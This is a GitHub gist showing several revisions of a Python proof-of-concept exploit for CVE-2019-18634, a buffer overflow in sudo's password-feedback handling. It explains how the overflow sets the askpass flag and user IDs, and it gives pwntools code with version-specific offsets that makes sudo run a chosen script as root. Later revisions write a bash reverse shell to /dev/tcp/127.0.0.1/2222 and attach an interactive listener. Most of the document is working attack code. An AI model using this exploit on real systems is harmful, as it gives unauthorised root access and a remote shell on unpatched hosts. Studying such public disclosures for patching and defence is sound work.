Skip to content

Instantly share code, notes, and snippets.

@wbowling
Last active September 8, 2020 23:03
Show Gist options
  • Select an option

  • Save wbowling/cfe7f13f002e33e1f46acf44c7c80129 to your computer and use it in GitHub Desktop.

Select an option

Save wbowling/cfe7f13f002e33e1f46acf44c7c80129 to your computer and use it in GitHub Desktop.

Revisions

  1. wbowling revised this gist Feb 5, 2020. 1 changed file with 15 additions and 9 deletions.
    24 changes: 15 additions & 9 deletions CVE-2019-18634.py
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,12 @@
    #!/usr/bin/python

    import os
    import pty

    from pwn import process, sleep, write, read, listen, p64

    """
    https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401:
    From https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401:
    } else if (c == sudo_term_kill) {
    while (cp > buf) {
    if (write(fd, "\b \b", 3) == -1)
    @@ -12,18 +17,19 @@
    continue;
    }
    The overflow in the above code can happen if the `sudo_term_kill` character is sent and the write fails, `left` is then reset to bufsiz but `cp` is not allowing another `bufsiz` bytes to be written. This can be done as many times as needed.
    The overflow in the above code can happen if the `sudo_term_kill` character is sent and the write fails,
    `left` is then reset to bufsiz but `cp` is not allowing another `bufsiz` bytes to be written. This can be
    done as many times as needed.
    The `buf` is located in the bss and anything following it can be overridden with the overflow. This means that `tgetpass_flags` can be changed to set the `TGP_ASKPASS` flag as well as the `user_details` struct.
    The `buf` is located in the bss and anything following it can be overridden with the overflow. This means
    that `tgetpass_flags` can be changed to set the `TGP_ASKPASS` flag as well as the `user_details` struct.
    The next time `tgetpass` is called (after an incorrect attempt) we can make sudo take the `sudo_askpass` path instead if we set the `TGP_ASKPASS` flag. The `askpass` string is fetched from the `SUDO_ASKPASS` environment variable then `setuid(user_details.uid)` and `execl(askpass, askpass, prompt, (char *)NULL);` will be run, both of which we have full control over.
    The next time `tgetpass` is called (after an incorrect attempt) we can make sudo take the `sudo_askpass`
    path instead if we set the `TGP_ASKPASS` flag. The `askpass` string is fetched from the `SUDO_ASKPASS`
    environment variable then `setuid(user_details.uid)` and `execl(askpass, askpass, prompt, (char *)NULL);`
    will be run, both of which we have full control over allowing us to execute anything as root.
    """

    import os
    import pty

    from pwn import process, sleep, write, read, listen, p64

    script = """#!/bin/bash
    bash -i >& /dev/tcp/127.0.0.1/2222 0>&1
    """
  2. wbowling revised this gist Feb 5, 2020. 1 changed file with 19 additions and 0 deletions.
    19 changes: 19 additions & 0 deletions CVE-2019-18634.py
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,24 @@
    #!/usr/bin/python

    """
    https://github.com/sudo-project/sudo/blob/SUDO_1_8_30/src/tgetpass.c#L401:
    } else if (c == sudo_term_kill) {
    while (cp > buf) {
    if (write(fd, "\b \b", 3) == -1)
    break;
    --cp;
    }
    left = bufsiz;
    continue;
    }
    The overflow in the above code can happen if the `sudo_term_kill` character is sent and the write fails, `left` is then reset to bufsiz but `cp` is not allowing another `bufsiz` bytes to be written. This can be done as many times as needed.
    The `buf` is located in the bss and anything following it can be overridden with the overflow. This means that `tgetpass_flags` can be changed to set the `TGP_ASKPASS` flag as well as the `user_details` struct.
    The next time `tgetpass` is called (after an incorrect attempt) we can make sudo take the `sudo_askpass` path instead if we set the `TGP_ASKPASS` flag. The `askpass` string is fetched from the `SUDO_ASKPASS` environment variable then `setuid(user_details.uid)` and `execl(askpass, askpass, prompt, (char *)NULL);` will be run, both of which we have full control over.
    """

    import os
    import pty

  3. wbowling revised this gist Feb 5, 2020. 1 changed file with 11 additions and 3 deletions.
    14 changes: 11 additions & 3 deletions CVE-2019-18634.py
    Original file line number Diff line number Diff line change
    @@ -12,6 +12,14 @@
    filename = "/tmp/pwn.sh"


    OFFSETS = {
    "1.8.21": 0x270,
    "1.8.30": 0x224
    }

    VERSION = "1.8.21"


    def setup():
    write(filename, script)
    os.chmod(filename, 0o777)
    @@ -24,16 +32,16 @@ def exploit():
    process("sudo -S id < " + os.ttyname(slave),
    shell=True, env={"SUDO_ASKPASS": filename})

    payload1 = "\x00" * 0x270
    payload1 += p64(4) # tgetpass_flags
    payload1 = "\x00" * OFFSETS[VERSION]
    payload1 += p64(0xf4) # tgetpass_flags
    payload1 += p64(0) * 6 # user_details
    payload1 += "\n"

    payload = ""
    for c in payload1:
    payload += c
    if (len(payload) + 1) % 0xf0 == 0:
    payload += "\x15" # sudo_term_kill char
    payload += "\x15" # sudo_term_kill char

    sleep(1)
    os.write(master, payload)
  4. wbowling revised this gist Feb 4, 2020. 1 changed file with 14 additions and 16 deletions.
    30 changes: 14 additions & 16 deletions CVE-2019-18634.py
    Original file line number Diff line number Diff line change
    @@ -1,31 +1,29 @@
    #!/usr/bin/python

    import pty
    import os
    import pty
    import pwd

    from pwn import process, sleep, p64, write, read
    from pwn import process, sleep, write, read, listen, p64

    script = """#!/bin/bash
    bash -i >& /dev/tcp/127.0.0.1/2222 0>&1
    """

    filename = "/tmp/pwn.sh"

    def setup():
    filename = "[sudo] password for {}: ".format(
    pwd.getpwuid(os.getuid()).pw_name)
    script = """#!/bin/bash
    echo "Hello" > /tmp/out.txt
    id >> /tmp/out.txt
    date >> /tmp/out.txt
    """

    def setup():
    write(filename, script)
    os.chmod(filename, 0o777)


    def exploit():
    master, slave = pty.openpty()

    p = process("sudo -S id < " + os.ttyname(slave),
    shell=True, env={"SUDO_ASKPASS": "/bin/bash"})
    r = listen(2222)
    process("sudo -S id < " + os.ttyname(slave),
    shell=True, env={"SUDO_ASKPASS": filename})

    payload1 = "\x00" * 0x270
    payload1 += p64(4) # tgetpass_flags
    payload1 += p64(0) * 6 # user_details
    @@ -35,12 +33,12 @@ def exploit():
    for c in payload1:
    payload += c
    if (len(payload) + 1) % 0xf0 == 0:
    payload += "\x15"
    payload += "\x15" # sudo_term_kill char

    sleep(1)
    os.write(master, payload)
    print(p.recvall())
    print(read("/tmp/out.txt"))
    r.wait_for_connection()
    r.interactive()


    if __name__ == "__main__":
  5. wbowling created this gist Feb 4, 2020.
    48 changes: 48 additions & 0 deletions CVE-2019-18634.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,48 @@
    #!/usr/bin/python

    import pty
    import os
    import pty
    import pwd

    from pwn import process, sleep, p64, write, read


    def setup():
    filename = "[sudo] password for {}: ".format(
    pwd.getpwuid(os.getuid()).pw_name)
    script = """#!/bin/bash
    echo "Hello" > /tmp/out.txt
    id >> /tmp/out.txt
    date >> /tmp/out.txt
    """

    write(filename, script)
    os.chmod(filename, 0o777)


    def exploit():
    master, slave = pty.openpty()

    p = process("sudo -S id < " + os.ttyname(slave),
    shell=True, env={"SUDO_ASKPASS": "/bin/bash"})
    payload1 = "\x00" * 0x270
    payload1 += p64(4) # tgetpass_flags
    payload1 += p64(0) * 6 # user_details
    payload1 += "\n"

    payload = ""
    for c in payload1:
    payload += c
    if (len(payload) + 1) % 0xf0 == 0:
    payload += "\x15"

    sleep(1)
    os.write(master, payload)
    print(p.recvall())
    print(read("/tmp/out.txt"))


    if __name__ == "__main__":
    setup()
    exploit()